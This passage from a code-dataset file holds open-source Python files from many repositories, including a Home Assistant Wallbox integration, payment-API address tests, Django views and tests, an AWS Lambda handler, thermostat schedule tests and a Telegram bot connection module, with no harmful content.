www.example.com)\")\n #TODO: Validate this is not empty\n\n self.bucket = self.get_bucket() #TODO: Catch auth errors\n\n #TODO: Make this all integrated and consistent!\n created = False\n if self.bucket is None:\n if self.site.ui.prompt_yes_no(\"Bucket does not exist. Create it?\"):\n self.bucket = self.create_bucket()\n created = True\n else:\n return\n\n website_endpoint = self.get_website_endpoint()\n self.site.config.set(self.config_bucket_website, website_endpoint)\n\n self.site.config.write()\n self.credentials_manager.save_credentials()\n\n if created:\n logger.info('Bucket %s was created with website endpoint %s', self.bucket_name, website_endpoint)\n\n logger.info(\"Bucket Name: %s\", self.bucket_name)\n logger.info(\"Bucket Web Endpoint: %s\", website_endpoint)\n", "source": "danielchasehooper/Cactus", "license": "BSD-3-Clause"} {"text": "from authorize import Configuration\nfrom authorize.xml_data import prettify\n\nfrom unittest import TestCase\n\nADDRESS = {\n 'first_name': 'Rob',\n 'last_name': 'Oteron',\n 'company': 'Robotron Studios',\n 'address': '101 Computer Street',\n 'city': 'Tucson',\n 'state': 'AZ',\n 'zip': '85704',\n 'country': 'US',\n 'phone_number': '520-123-4567',\n 'fax_number': '520-456-7890',\n}\n\nCREATE_ADDRESS_REQUEST = '''\n\n\n \n 8s8tVnG5t\n 5GK7mncw8mG2946z\n \n 1234567890\n
    \n Rob\n Oteron\n Robotron Studios\n
    101 Computer Street
    \n Tucson\n AZ\n 85704\n US\n 520-123-4567\n 520-456-7890\n
    \n
    '''\n\nDETAILS_ADDRESS_REQUEST = '''\n\n\n \n 8s8tVnG5t\n 5GK7mncw8mG2946z\n \n 1234567890\n 0987654321\n'''\n\nUPDATE_ADDRESS_REQUEST = '''\n\n\n \n 8s8tVnG5t\n 5GK7mncw8mG2946z\n \n 1234567890\n
    \n Rob\n Oteron\n Robotron Studios\n
    101 Computer Street
    \n Tucson\n AZ\n 85704\n US\n 520-123-4567\n 520-456-7890\n 0987654321\n
    \n
    '''\n\nDELETE_ADDRESS_REQUEST = '''\n\n\n \n 8s8tVnG5t\n 5GK7mncw8mG2946z\n \n 1234567890\n 0987654321\n'''\n\n\nclass AddressAPITests(TestCase):\n\n maxDiff = None\n\n def test_create_address_request(self):\n request_xml = Configuration.api.address._create_request('1234567890', ADDRESS)\n request_string = prettify(request_xml)\n self.assertEqual(request_string, CREATE_ADDRESS_REQUEST.strip())\n\n def test_details_address_request(self):\n request_xml = Configuration.api.address._details_request('1234567890', '0987654321')\n request_string = prettify(request_xml)\n self.assertEqual(request_string, DETAILS_ADDRESS_REQUEST.strip())\n\n def test_update_address_request(self):\n request_xml = Configuration.api.address._update_request('1234567890', '0987654321', ADDRESS)\n request_string = prettify(request_xml)\n self.assertEqual(request_string, UPDATE_ADDRESS_REQUEST.strip())\n\n def test_delete_address_request(self):\n request_xml = Configuration.api.address._delete_request('1234567890', '0987654321')\n request_string = prettify(request_xml)\n self.assertEqual(request_string, DELETE_ADDRESS_REQUEST.strip())\n", "source": "aryeh/py-authorize", "license": "MIT"} {"text": "from django import template\nfrom cQuiz.models import Choice\nfrom random import shuffle\n\nregister = template.Library()\n\n\n@register.filter\ndef get_choices(question):\n return Choice.objects.filter(question=question)[0].choice_text\n\n\n@register.filter\ndef decrement_me(num):\n return num-1\n\n\n@register.filter\ndef randomize_list(choices):\n lst = [i for i in choices]\n shuffle(lst)\n return lst\n", "source": "hkdahal/DevelopersShelf", "license": "MIT"} {"text": "\"\"\"The Wallbox integration.\"\"\"\nfrom __future__ import annotations\n\nfrom datetime import timedelta\nfrom http import HTTPStatus\nimport logging\nfrom typing import Any, Dict\n\nimport requests\nfrom wallbox import Wallbox\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import CONF_PASSWORD, CONF_USERNAME\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.exceptions import ConfigEntryAuthFailed, HomeAssistantError\nfrom homeassistant.helpers.update_coordinator import DataUpdateCoordinator\n\nfrom .const import CONF_DATA_KEY, CONF_MAX_CHARGING_CURRENT_KEY, CONF_STATION, DOMAIN\n\n_LOGGER = logging.getLogger(__name__)\n\nPLATFORMS = [\"sensor\", \"number\"]\nUPDATE_INTERVAL = 30\n\n\nclass WallboxCoordinator(DataUpdateCoordinator[Dict[str, Any]]):\n \"\"\"Wallbox Coordinator class.\"\"\"\n\n def __init__(self, station: str, wallbox: Wallbox, hass: HomeAssistant) -> None:\n \"\"\"Initialize.\"\"\"\n self._station = station\n self._wallbox = wallbox\n\n super().__init__(\n hass,\n _LOGGER,\n name=DOMAIN,\n update_interval=timedelta(seconds=UPDATE_INTERVAL),\n )\n\n def _authenticate(self) -> None:\n \"\"\"Authenticate using Wallbox API.\"\"\"\n try:\n self._wallbox.authenticate()\n except requests.exceptions.HTTPError as wallbox_connection_error:\n if wallbox_connection_error.response.status_code == HTTPStatus.FORBIDDEN:\n raise ConfigEntryAuthFailed from wallbox_connection_error\n raise ConnectionError from wallbox_connection_error\n\n def _validate(self) -> None:\n \"\"\"Authenticate using Wallbox API.\"\"\"\n try:\n self._wallbox.authenticate()\n except requests.exceptions.HTTPError as wallbox_connection_error:\n if wallbox_connection_error.response.status_code == 403:\n raise InvalidAuth from wallbox_connection_error\n raise ConnectionError from wallbox_connection_error\n\n def _get_data(self) -> dict[str, Any]:\n \"\"\"Get new sensor data for Wallbox component.\"\"\"\n try:\n self._authenticate()\n data: dict[str, Any] = self._wallbox.getChargerStatus(self._station)\n data[CONF_MAX_CHARGING_CURRENT_KEY] = data[CONF_DATA_KEY][\n CONF_MAX_CHARGING_CURRENT_KEY\n ]\n\n return data\n\n except requests.exceptions.HTTPError as wallbox_connection_error:\n raise ConnectionError from wallbox_connection_error\n\n def _set_charging_current(self, charging_current: float) -> None:\n \"\"\"Set maximum charging current for Wallbox.\"\"\"\n try:\n self._authenticate()\n self._wallbox.setMaxChargingCurrent(self._station, charging_current)\n except requests.exceptions.HTTPError as wallbox_connection_error:\n if wallbox_connection_error.response.status_code == 403:\n raise InvalidAuth from wallbox_connection_error\n raise ConnectionError from wallbox_connection_error\n\n async def async_set_charging_current(self, charging_current: float) -> None:\n \"\"\"Set maximum charging current for Wallbox.\"\"\"\n await self.hass.async_add_executor_job(\n self._set_charging_current, charging_current\n )\n await self.async_request_refresh()\n\n async def _async_update_data(self) -> dict[str, Any]:\n \"\"\"Get new sensor data for Wallbox component.\"\"\"\n data = await self.hass.async_add_executor_job(self._get_data)\n return data\n\n async def async_validate_input(self) -> None:\n \"\"\"Get new sensor data for Wallbox component.\"\"\"\n await self.hass.async_add_executor_job(self._validate)\n\n\nasync def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:\n \"\"\"Set up Wallbox from a config entry.\"\"\"\n wallbox = Wallbox(entry.data[CONF_USERNAME], entry.data[CONF_PASSWORD])\n wallbox_coordinator = WallboxCoordinator(\n entry.data[CONF_STATION],\n wallbox,\n hass,\n )\n\n try:\n await wallbox_coordinator.async_validate_input()\n\n except InvalidAuth as ex:\n raise ConfigEntryAuthFailed from ex\n\n await wallbox_coordinator.async_config_entry_first_refresh()\n\n hass.data.setdefault(DOMAIN, {})[entry.entry_id] = wallbox_coordinator\n\n hass.config_entries.async_setup_platforms(entry, PLATFORMS)\n\n return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:\n \"\"\"Unload a config entry.\"\"\"\n unload_ok = await hass.config_entries.async_unload_platforms(entry, PLATFORMS)\n if unload_ok:\n hass.data[DOMAIN].pop(entry.entry_id)\n\n return unload_ok\n\n\nclass InvalidAuth(HomeAssistantError):\n \"\"\"Error to indicate there is invalid auth.\"\"\"\n", "source": "EuleMitKeule/core", "license": "Apache-2.0"} {"text": "'''\nNow You Code 3: Amazon Deals\n\nCreate a program that downloads and prints Today's Deals from amazon.com (https://www.amazon.com/gp/goldbox)\n\nHint: You will need to use selenium to scrape this page, it is loaded with JavaScript!\n\nExample Run:\n\nHere are Amazon.com deals!\n1.) Shower Hose 79 inch (6.5 Ft.) for Hand Held Showerhead $8.72\n2.) Streamlight 88851 PolyTac LED Flashlight with Lithium Battery $30.52\n....\n....\n....\n\nStart out your program by writing your TODO list of steps\nyou'll need to solve the problem!\n'''\n\n# TODO: Write Todo list then beneath write your code\n\n\n# Write code here \n", "source": "MahopacHS/spring-2020-neubauerc", "license": "MIT"} {"text": "import os\n\nimport numpy as np\nfrom numpy.lib.stride_tricks import sliding_window_view\nimport pandas as pd\nfrom sktime.datasets import load_airline\nfrom sktime.utils.plotting import plot_series\nfrom sktime_dl.regression import CNNRegressor\nfrom sktime_dl.classification import CNNClassifier\nfrom sktime.forecasting.naive import NaiveForecaster\nfrom sktime.classification.interval_based import RandomIntervalSpectralForest\n\ndef forecasting_example():\n name = \"C:\\\\Users\\\\Tony\\\\OneDrive - University of East Anglia\\\\Research\\\\Alex \" \\\n \"Mcgregor Grant\\\\randomNoise.csv\"\n\n\n y = pd.read_csv(name, index_col=0, squeeze=True, dtype={1: np.float})\n forecast_horizon = np.arange(1, 2)\n forecaster = NaiveForecaster(strategy=\"last\")\n forecaster.fit(y)\n y_pred = forecaster.predict(forecast_horizon)\n print(\"Next predicted value = \",y_pred)\n # https://github.com/alan-turing-institute/sktime/blob/main/examples/01_forecasting.ipynb\n #Reduce to a regression problem through windowing.\n ##Transform forecasting into regression\n\n np_y = y.to_numpy()\n v = sliding_window_view(y, 100)\n print(\"Window shape =\",v.shape)\n v_3d = np.expand_dims(v, axis=1)\n print(\"Window shape =\",v.shape)\n print(v_3d.shape)\n z = v[:,2]\n print(z.shape)\n regressor = CNNRegressor()\n classifier = CNNClassifier()\n regressor.fit(v_3d,z)\n p = regressor.predict(v_3d)\n #print(p)\n d = np.array([0.0])\n c = np.digitize(z,d)\n classifier = RandomIntervalSpectralForest()\n classifier.fit(v_3d,c)\n cls = classifier.predict(v_3d)\n print(cls)\n\nif __name__ == \"__main__\":\n forecasting_example()\n\n\n", "source": "Gjacquenot/sktime-dl", "license": "BSD-3-Clause"} {"text": "\"\"\"\nCreated: 03 June 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom django.urls import reverse\nfrom django.core import mail\n\nfrom revibe._helpers import status\nfrom revibe._helpers.test import RevibeTestCase\n\nfrom surveys.models import ArtistOfTheWeek\nfrom surveys.models import Contact\n\n# -----------------------------------------------------------------------------\n\nclass ArtistOfTheWeekTestCase(RevibeTestCase):\n def setUp(self):\n self._get_application()\n self._get_user()\n self._get_artist_user()\n self._get_artistoftheweek()\n\n def test_post_application(self):\n url = reverse('artistoftheweek-application-list')\n data = {\n \"promotion_ideas\": \"Shit could be so dope!\",\n }\n\n # send the request\n response = self.client.post(url, data, format=\"json\", **self._get_headers(artist=True))\n\n # validate the response\n self.assert201(response)\n\n def test_get_applications(self):\n url = reverse('artistoftheweek-application-list')\n\n # send the request\n response = self.client.get(url, format=\"json\", **self._get_headers(artist=True))\n\n # validate the response\n self.assert200(response)\n self.assertReturnList(response)\n \n def test_get_application_detail(self):\n app = ArtistOfTheWeek.objects.filter(user=self.artist_user).first()\n url = reverse('artistoftheweek-application-detail', args=[app.id])\n\n # send the request\n response = self.client.get(url, format=\"json\", **self._get_headers(artist=True))\n\n # validate the response\n self.assert200(response)\n self.assertReturnDict(response)\n\n def test_get_applications_not_artist(self):\n url = reverse('artistoftheweek-application-list')\n\n # send the request\n response = self.client.get(url, format=\"json\", **self._get_headers())\n\n # validate the response\n self.assert403(response)\n\nclass TestContact(RevibeTestCase):\n \"\"\" Testing contact model \"\"\"\n\n def setUp(self):\n self._get_application()\n Contact.objects.create(\n first=\"test-first\",\n last=\"test-last\",\n subject=\"test-subject\",\n email=\"test-email@gmail.com\",\n message=\"wow. incredible.\",\n )\n self._get_user()\n \n def test_first_max_length(self):\n contact = Contact.objects.first()\n max_length = contact._meta.get_field('first').max_length\n self.assertEquals(max_length, 100)\n \n def test_last_max_length(self):\n contact = Contact.objects.first()\n max_length = contact._meta.get_field('last').max_length\n self.assertEquals(max_length, 100)\n \n def test_email_max_length(self):\n contact = Contact.objects.first()\n max_length = contact._meta.get_field('email').max_length\n self.assertEquals(max_length, 250)\n \n def test_subject_max_length(self):\n contact = Contact.objects.first()\n max_length = contact._meta.get_field('subject').max_length\n self.assertEquals(max_length, 250)\n\n def test_submit_contact(self):\n \"\"\"\n Ensures creation of a contact object/model is possible.\n \"\"\"\n # data\n data = {\n \"first\": \"test-first\",\n \"last\": \"test-last\",\n \"subject\": \"test-subject\",\n \"email\": \"test-email@gmail.com\",\n \"message\": \"wow. incredible.\",\n }\n # send request\n response = self.client.post(\"/api/v1/surveys/contact/\", data, format=\"json\", **self._get_headers())\n self.assert201(response)\n \n def test_submit_contact_no_message(self):\n \"\"\"\n Creation of a contact model is not possible without a message.\n **should fail**\n \"\"\"\n # data\n data = {\n \"first\": \"test-first\",\n \"last\": \"test-last\",\n \"subject\": \"test-subject\",\n \"email\": \"test-email@gmail.com\",\n }\n # send request\n response = self.client.post(\"/api/v1/surveys/contact/\", data, format=\"json\", **self._get_headers())\n self.assert400(response)\n \n def test_email(self):\n \"\"\"\n Test case for delivering email from contact submission.\n \"\"\"\n mail.send_mail(\n 'test-subject',\n 'wow. incredible',\n 'test-email@gmail.com',\n ['to-test-email@gmail.com'],\n fail_silently=False\n )\n self.assertEqual(len(mail.outbox), 1)\n self.assertEqual(mail.outbox[0].subject, 'test-subject')\n\n\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "import json\nimport boto3\nfrom pprint import pprint\nfrom datetime import datetime\n\ndynamodb = boto3.client('dynamodb')\nec2 = boto3.client('ec2')\nINSTANCE_THRESHOLD = os.getenv('INSTANCE_THRESHOLD', 2)\nTABLE_NAME = os.getenv('TABLE_NAME', 'pixel_streaming')\n\ndef lambda_handler(event, context):\n \n pprint(event['Records'])\n\n sns_message = json.loads(event['Records'][0]['Sns']['Message'])\n \n print(sns_message['EC2InstanceId'])\n instance_id = sns_message['EC2InstanceId']\n\n instances = ec2.describe_instances(\n InstanceIds=[instance_id]\n )\n \n if sns_message['Event'] == \"autoscaling:EC2_INSTANCE_LAUNCH\":\n print(\n instances['Reservations'][0]['Instances'][0]['PublicIpAddress']\n )\n public_ip = instances['Reservations'][0]['Instances'][0]['PublicIpAddress']\n\n print(\"Creating new instance\")\n \n put_item = dynamodb.put_item(\n TableName=TABLE_NAME,\n Item={\n \"ip_address\": {\n \"S\": public_ip\n },\n \"entry_epoch\": {\n \"N\": str(datetime.now().timestamp())\n }\n }\n )\n print(put_item)\n \n return {\n 'statusCode': 200\n }\n else:\n #Unsupported operation\n return {\n 'statusCode': 500,\n 'body': json.dumps('Unsupported operation')\n }\n", "source": "A-Barnes/pixel_streaming", "license": "Apache-2.0"} {"text": "from html.parser import HTMLParser\n\n\ndef get_element_ids(html):\n ids = []\n\n class MyHTMLParser(HTMLParser):\n def handle_starttag(self, tag, attrs):\n for attr in attrs:\n if attr[0] == 'id':\n ids.append(attr[1])\n parser = MyHTMLParser()\n parser.feed(html)\n return ids\n", "source": "LeviBorodenko/webalchemy", "license": "MIT"} {"text": "from django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nimport kyleandemily.rsvp.views as rsvp_views\n\nurlpatterns = patterns(\n '',\n url(r'^lookup/$',\n rsvp_views.lookup,\n name='lookup'),\n url(r'^save/$',\n rsvp_views.save,\n name='save'),\n url(r'',\n rsvp_views.landing,\n name='landing'),\n url(r'^(?P[a-zA-Z]+)/$',\n rsvp_views.landing,\n name='landing'),\n)", "source": "ehayne/KyleAndEmily", "license": "MIT"} {"text": "# coding=utf-8\n\n\"\"\"\nImage_Algorithm_Toolbox\nResize pic to defined size.\n\n__author__ = 'JNingWei'\n\"\"\"\n\n\nimport os\nimport cv2\n\n\ndef dst_check(dst):\n import shutil\n try:\n shutil.rmtree(dst)\n except OSError:\n pass\n os.makedirs(dst)\n\n\ndef get_path_lists(src):\n check_suffix = lambda x : True if os.path.splitext(x)[1] in [\".jpg\", \".JPG\", \".png\", \".PNG\"] else False\n src_image_paths = [os.path.join(src, name) for name in os.listdir(src) if check_suffix(name)]\n assert len(src_image_paths)\n src_image_paths.sort()\n dst_image_paths = [path.replace(\"src\", \"dst\").replace(os.path.splitext(path)[1], os.path.splitext(path)[1].lower()) for path in src_image_paths]\n return src_image_paths, dst_image_paths\n\ndef resize_image(src_image_path, dst_image_path, origin_size, new_size, idx):\n src_image = cv2.imread(src_image_path)\n dst_image = cv2.resize(src_image, new_size)\n cv2.imwrite(dst_image_path, dst_image)\n\n\ndef main(src, dst, new_size):\n dst_check(dst)\n idx = 0\n src_image_paths, dst_image_paths = get_path_lists(src)\n for (src_image_path, dst_image_path) in zip(src_image_paths, dst_image_paths):\n resize_image(src_image_path, dst_image_path, None, new_size, idx)\n idx += 1\n\n\nif __name__ == \"__main__\":\n SRC = './src' # dir for origin pics\n DST = './dst' # dir for resized pics\n NEW_SIZE = (800, 800) # new size\n main(SRC, DST, NEW_SIZE)\n", "source": "parnec/Labeling_tool", "license": "MIT"} {"text": "import pytest\n\nfrom datetime import datetime\n\nfrom pytest_mock import MockerFixture\n\nfrom vaillant_netatmo_api.thermostat import Program\n\n@pytest.mark.parametrize(\n \"current_time,expected_active_zone_id\", \n [\n # Monday\n (datetime(2021, 11, 22, 0, 0), 1),\n (datetime(2021, 11, 22, 0, 59), 1),\n (datetime(2021, 11, 22, 1, 0), 0),\n (datetime(2021, 11, 22, 1, 1), 0),\n (datetime(2021, 11, 22, 1, 59), 0),\n (datetime(2021, 11, 22, 2, 0), 2),\n (datetime(2021, 11, 22, 2, 1), 2),\n (datetime(2021, 11, 22, 23, 59), 2),\n # Tuesday\n (datetime(2021, 11, 23, 0, 0), 1),\n (datetime(2021, 11, 23, 0, 59), 1),\n (datetime(2021, 11, 23, 1, 0), 0),\n (datetime(2021, 11, 23, 1, 1), 0),\n (datetime(2021, 11, 23, 1, 59), 0),\n (datetime(2021, 11, 23, 2, 0), 2),\n (datetime(2021, 11, 23, 2, 1), 2),\n (datetime(2021, 11, 23, 23, 59), 2),\n # Wednesday\n (datetime(2021, 11, 24, 0, 0), 1),\n (datetime(2021, 11, 24, 0, 59), 1),\n (datetime(2021, 11, 24, 1, 0), 0),\n (datetime(2021, 11, 24, 1, 1), 0),\n (datetime(2021, 11, 24, 1, 59), 0),\n (datetime(2021, 11, 24, 2, 0), 2),\n (datetime(2021, 11, 24, 2, 1), 2),\n (datetime(2021, 11, 24, 23, 59), 2),\n # Thursday\n (datetime(2021, 11, 25, 0, 0), 1),\n (datetime(2021, 11, 25, 0, 59), 1),\n (datetime(2021, 11, 25, 1, 0), 0),\n (datetime(2021, 11, 25, 1, 1), 0),\n (datetime(2021, 11, 25, 1, 59), 0),\n (datetime(2021, 11, 25, 2, 0), 2),\n (datetime(2021, 11, 25, 2, 1), 2),\n (datetime(2021, 11, 25, 23, 59), 2),\n # Friday\n (datetime(2021, 11, 26, 0, 0), 1),\n (datetime(2021, 11, 26, 0, 59), 1),\n (datetime(2021, 11, 26, 1, 0), 0),\n (datetime(2021, 11, 26, 1, 1), 0),\n (datetime(2021, 11, 26, 1, 59), 0),\n (datetime(2021, 11, 26, 2, 0), 2),\n (datetime(2021, 11, 26, 2, 1), 2),\n (datetime(2021, 11, 26, 23, 59), 2),\n # Saturday\n (datetime(2021, 11, 27, 0, 0), 1),\n (datetime(2021, 11, 27, 0, 59), 1),\n (datetime(2021, 11, 27, 1, 0), 0),\n (datetime(2021, 11, 27, 1, 1), 0),\n (datetime(2021, 11, 27, 1, 59), 0),\n (datetime(2021, 11, 27, 2, 0), 2),\n (datetime(2021, 11, 27, 2, 1), 2),\n (datetime(2021, 11, 27, 23, 59), 2),\n # Sunday\n (datetime(2021, 11, 28, 0, 0), 1),\n (datetime(2021, 11, 28, 0, 59), 1),\n (datetime(2021, 11, 28, 1, 0), 0),\n (datetime(2021, 11, 28, 1, 1), 0),\n (datetime(2021, 11, 28, 1, 59), 0),\n (datetime(2021, 11, 28, 2, 0), 2),\n (datetime(2021, 11, 28, 2, 1), 2),\n (datetime(2021, 11, 28, 23, 59), 2),\n # Monday\n (datetime(2021, 11, 29, 0, 0), 1),\n (datetime(2021, 11, 29, 0, 59), 1),\n (datetime(2021, 11, 29, 1, 0), 0),\n (datetime(2021, 11, 29, 1, 1), 0),\n (datetime(2021, 11, 29, 1, 59), 0),\n (datetime(2021, 11, 29, 2, 0), 2),\n (datetime(2021, 11, 29, 2, 1), 2),\n (datetime(2021, 11, 29, 23, 59), 2),\n ]\n)\n@pytest.mark.asyncio\nclass TestProgramForZones:\n async def test_get_active_zone__timetable_with_three_slots_per_day__returns_correct_index_around_bounderies(self, current_time: datetime, expected_active_zone_id: int, mocker: MockerFixture):\n mocker.patch(\"vaillant_netatmo_api.thermostat.now\", return_value=current_time)\n\n program = Program(\n zones=[\n {\"id\": 0},\n {\"id\": 1},\n {\"id\": 2},\n ],\n timetable=[\n {\"id\": 1, \"m_offset\": 0},\n {\"id\": 0, \"m_offset\": 60},\n {\"id\": 2, \"m_offset\": 120},\n {\"id\": 1, \"m_offset\": 1440},\n {\"id\": 0, \"m_offset\": 1500},\n {\"id\": 2, \"m_offset\": 1560},\n {\"id\": 1, \"m_offset\": 2880},\n {\"id\": 0, \"m_offset\": 2940},\n {\"id\": 2, \"m_offset\": 3000},\n {\"id\": 1, \"m_offset\": 4320},\n {\"id\": 0, \"m_offset\": 4380},\n {\"id\": 2, \"m_offset\": 4440},\n {\"id\": 1, \"m_offset\": 5760},\n {\"id\": 0, \"m_offset\": 5820},\n {\"id\": 2, \"m_offset\": 5880},\n {\"id\": 1, \"m_offset\": 7200},\n {\"id\": 0, \"m_offset\": 7260},\n {\"id\": 2, \"m_offset\": 7320},\n {\"id\": 1, \"m_offset\": 8640},\n {\"id\": 0, \"m_offset\": 8700},\n {\"id\": 2, \"m_offset\": 8760},\n ],\n )\n\n active_zone = program.get_active_zone()\n\n assert active_zone.id == expected_active_zone_id\n\n@pytest.mark.asyncio\nclass TestProgramForTimeslots:\n async def test_get_timeslots_for_today__timetable_with_alternating_zones__returns_monday_without_padding(self, mocker: MockerFixture):\n monday = datetime(2021, 11, 22, 1, 0)\n\n mocker.patch(\"vaillant_netatmo_api.thermostat.now\", return_value=monday)\n\n program = Program(\n timetable=[\n {\"id\": 2, \"m_offset\": 0},\n {\"id\": 0, \"m_offset\": 60},\n {\"id\": 1, \"m_offset\": 120},\n {\"id\": 0, \"m_offset\": 1500},\n {\"id\": 2, \"m_offset\": 1560},\n {\"id\": 0, \"m_offset\": 2940},\n {\"id\": 1, \"m_offset\": 3000},\n ],\n )\n\n time_slots = program.get_timeslots_for_today()\n\n assert len(time_slots) == 3\n assert time_slots[0].id == 2\n assert time_slots[0].m_offset == 0\n assert time_slots[1].id == 0\n assert time_slots[1].m_offset == 60\n assert time_slots[2].id == 1\n assert time_slots[2].m_offset == 120\n\n async def test_get_timeslots_for_today__timetable_with_alternating_zones__returns_other_days_with_padding(self, mocker: MockerFixture):\n tuesday = datetime(2021, 11, 23, 1, 0)\n\n mocker.patch(\"vaillant_netatmo_api.thermostat.now\", return_value=tuesday)\n\n program = Program(\n timetable=[\n {\"id\": 2, \"m_offset\": 0},\n {\"id\": 0, \"m_offset\": 60},\n {\"id\": 1, \"m_offset\": 120},\n {\"id\": 0, \"m_offset\": 1500},\n {\"id\": 2, \"m_offset\": 1560},\n {\"id\": 0, \"m_offset\": 2940},\n {\"id\": 1, \"m_offset\": 3000},\n ],\n )\n\n time_slots = program.get_timeslots_for_today()\n\n assert len(time_slots) == 3\n assert time_slots[0].id == 1\n assert time_slots[0].m_offset == 1440\n assert time_slots[1].id == 0\n assert time_slots[1].m_offset == 1500\n assert time_slots[2].id == 2\n assert time_slots[2].m_offset == 1560\n", "source": "dominikkarall/vaillant-netatmo-api", "license": "MIT"} {"text": "# # TO DELETE THIS FILE:\n#\n# # We should be using batch_polopt and normal non-maml experiments to generate the trajectories\n# # And then use batch_maml_polopt with the added options around goals_to_load, expert_trajs to load\n# # the expert policy's trajectories.\n#\n#\n# # Intended to work with batch_maml_polopt. Use elsewhere at your own risk\n#\n#\n# from sandbox.rocky.tf.algos.maml_trpo import MAMLTRPO\n# from rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\n# from rllab.baselines.gaussian_mlp_baseline import GaussianMLPBaseline\n# from rllab.baselines.zero_baseline import ZeroBaseline\n# from maml_examples.point_env_randgoal_expert import PointEnvRandGoalExpert\n# from maml_examples.point_env_randgoal_oracle import PointEnvRandGoalOracle\n# from rllab.envs.normalized_env import normalize\n# from rllab.misc.instrument import stub, run_experiment_lite\n# from sandbox.rocky.tf.policies.maml_minimal_gauss_mlp_policy import MAMLGaussianMLPPolicy\n# from sandbox.rocky.tf.envs.base import TfEnv\n#\n# import tensorflow as tf\n# import time\n#\n#\n# fast_batch_size = 20 # 20 # 10 works for [0.1, 0.2], 20 doesn't improve much for [0,0.2] #inner grad update size\n# meta_batch_size = 40 # 40 @ 10 also works, but much less stable, 20 is fairly stable, 40 is more stable\n# max_path_length = 100 # 100\n# meta_step_size = 0.01\n# l2loss_std_mult_list = [1.0]\n# env_options = [\"box\"]\n#\n# policy = MAMLGaussianMLPPolicy # oracle because it sees the goal? Need to rewrite its functions\n#\n# def generateExpertTrajectories(\n# policy,\n# env,\n# training_n_itr=1000,\n# fast_batch_size = 20, # 20 # 10 works for [0.1, 0.2], 20 doesn't improve much for [0,0.2] #inner grad update size\n# meta_batch_size = 40, # 40 @ 10 also works, but much less stable, 20 is fairly stable, 40 is more stable\n# max_path_length = 100, # 100\n# meta_step_size = 0.01,\n# env_options = None,\n# **kwargs,\n# ):\n# # thought: isn't it easier to just pass the goal as an observation, both during training\n# # and during sampling\n# # and then to just scrub the resulting paths from the goal?\n# #test\n# algo = MAMLTRPO()\n# env = env.with_goal_as_obs\n# policy.train(algo=algo, n_itr=training_n_itr, goals = env.sample_goals(training_n_itr))\n#\n# k\n# output = {}\n# env=env.without_goal_as_obs\n# batch_size = fast_batch_size * max_path_length * meta_batch_size\n#\n# filled_batch_size =\n# # I guess i can just sample as regular\n# for goal in range(meta_batch_size):\n# output[goal] = {}\n# for trajnum in range(fast_batch_size):\n# output[goal][trajnum] = []\n# init_obs = env.reset(newgoal)\n# obs = init_obs\n#\n# while not done:\n# step =policy.feedforward(obs)\n# output[goal][trajnum].append(step)\n# observation = step['obs']\n# done = step['done']\n#\n# #scrub the resulting paths from the goal\n# for goal in range(meta_batch_size) and for trajnum:\n# output[goal][trajnum] = scrub(env.spec, env.with_goal_as_obs.spec, output[goal][trajnum])\n", "source": "RussellM2020/maml_gps", "license": "MIT"} {"text": "import time\nimport re\n\nfrom telegram import ParseMode, InlineKeyboardMarkup, InlineKeyboardButton, Update, Bot\nfrom telegram.error import BadRequest, Unauthorized\nfrom telegram.ext import CommandHandler, CallbackQueryHandler, run_async\n\nimport SaitamaRobot.modules.sql.connection_sql as sql\nfrom SaitamaRobot import dispatcher, DRAGONS, DEV_USERS\nfrom SaitamaRobot.modules.helper_funcs import chat_status\nfrom SaitamaRobot.modules.helper_funcs.alternate import send_message, typing_action\n\nuser_admin = chat_status.user_admin\n\n\n@user_admin\n@run_async\n@typing_action\ndef allow_connections(update, context) -> str:\n\n chat = update.effective_chat\n args = context.args\n\n if chat.type != chat.PRIVATE:\n if len(args) >= 1:\n var = args[0]\n if var == \"no\":\n sql.set_allow_connect_to_chat(chat.id, False)\n send_message(\n update.effective_message,\n \"Connection has been disabled for this chat\",\n )\n elif var == \"yes\":\n sql.set_allow_connect_to_chat(chat.id, True)\n send_message(\n update.effective_message,\n \"Connection has been enabled for this chat\",\n )\n else:\n send_message(\n update.effective_message,\n \"Please enter `yes` or `no`!\",\n parse_mode=ParseMode.MARKDOWN,\n )\n else:\n get_settings = sql.allow_connect_to_chat(chat.id)\n if get_settings:\n send_message(\n update.effective_message,\n \"Connections to this group are *Allowed* for members!\",\n parse_mode=ParseMode.MARKDOWN,\n )\n else:\n send_message(\n update.effective_message,\n \"Connection to this group are *Not Allowed* for members!\",\n parse_mode=ParseMode.MARKDOWN,\n )\n else:\n send_message(update.effective_message,\n \"This command is for group only. Not in PM!\")\n\n\n@run_async\n@typing_action\ndef connection_chat(update, context):\n\n chat = update.effective_chat\n user = update.effective_user\n\n conn = connected(context.bot, update, chat, user.id, need_admin=True)\n\n if conn:\n chat = dispatcher.bot.getChat(conn)\n chat_name = dispatcher.bot.getChat(conn).title\n else:\n if update.effective_message.chat.type != \"private\":\n return\n chat = update.effective_chat\n chat_name = update.effective_message.chat.title\n\n if conn:\n message = \"You are currently connected to {}.\\n\".format(chat_name)\n else:\n message = \"You are currently not connected in any group.\\n\"\n send_message(update.effective_message, message, parse_mode=\"markdown\")\n\n\n@run_async\n@typing_action\ndef connect_chat(update, context):\n\n chat = update.effective_chat\n user = update.effective_user\n args = context.args\n\n if update.effective_chat.type == \"private\":\n if args and len(args) >= 1:\n try:\n connect_chat = int(args[0])\n getstatusadmin = context.bot.get_chat_member(\n connect_chat, update.effective_message.from_user.id)\n except ValueError:\n try:\n connect_chat = str(args[0])\n get_chat = context.bot.getChat(connect_chat)\n connect_chat = get_chat.id\n getstatusadmin = context.bot.get_chat_member(\n connect_chat, update.effective_message.from_user.id)\n except BadRequest:\n send_message(update.effective_message, \"Invalid Chat ID!\")\n return\n except BadRequest:\n send_message(update.effective_message, \"Invalid Chat ID!\")\n return\n\n isadmin = getstatusadmin.status in (\"administrator\", \"creator\")\n ismember = getstatusadmin.status in (\"member\")\n isallow = sql.allow_connect_to_chat(connect_chat)\n\n if (isadmin) or (isallow and ismember) or (user.id in DRAGONS):\n connection_status 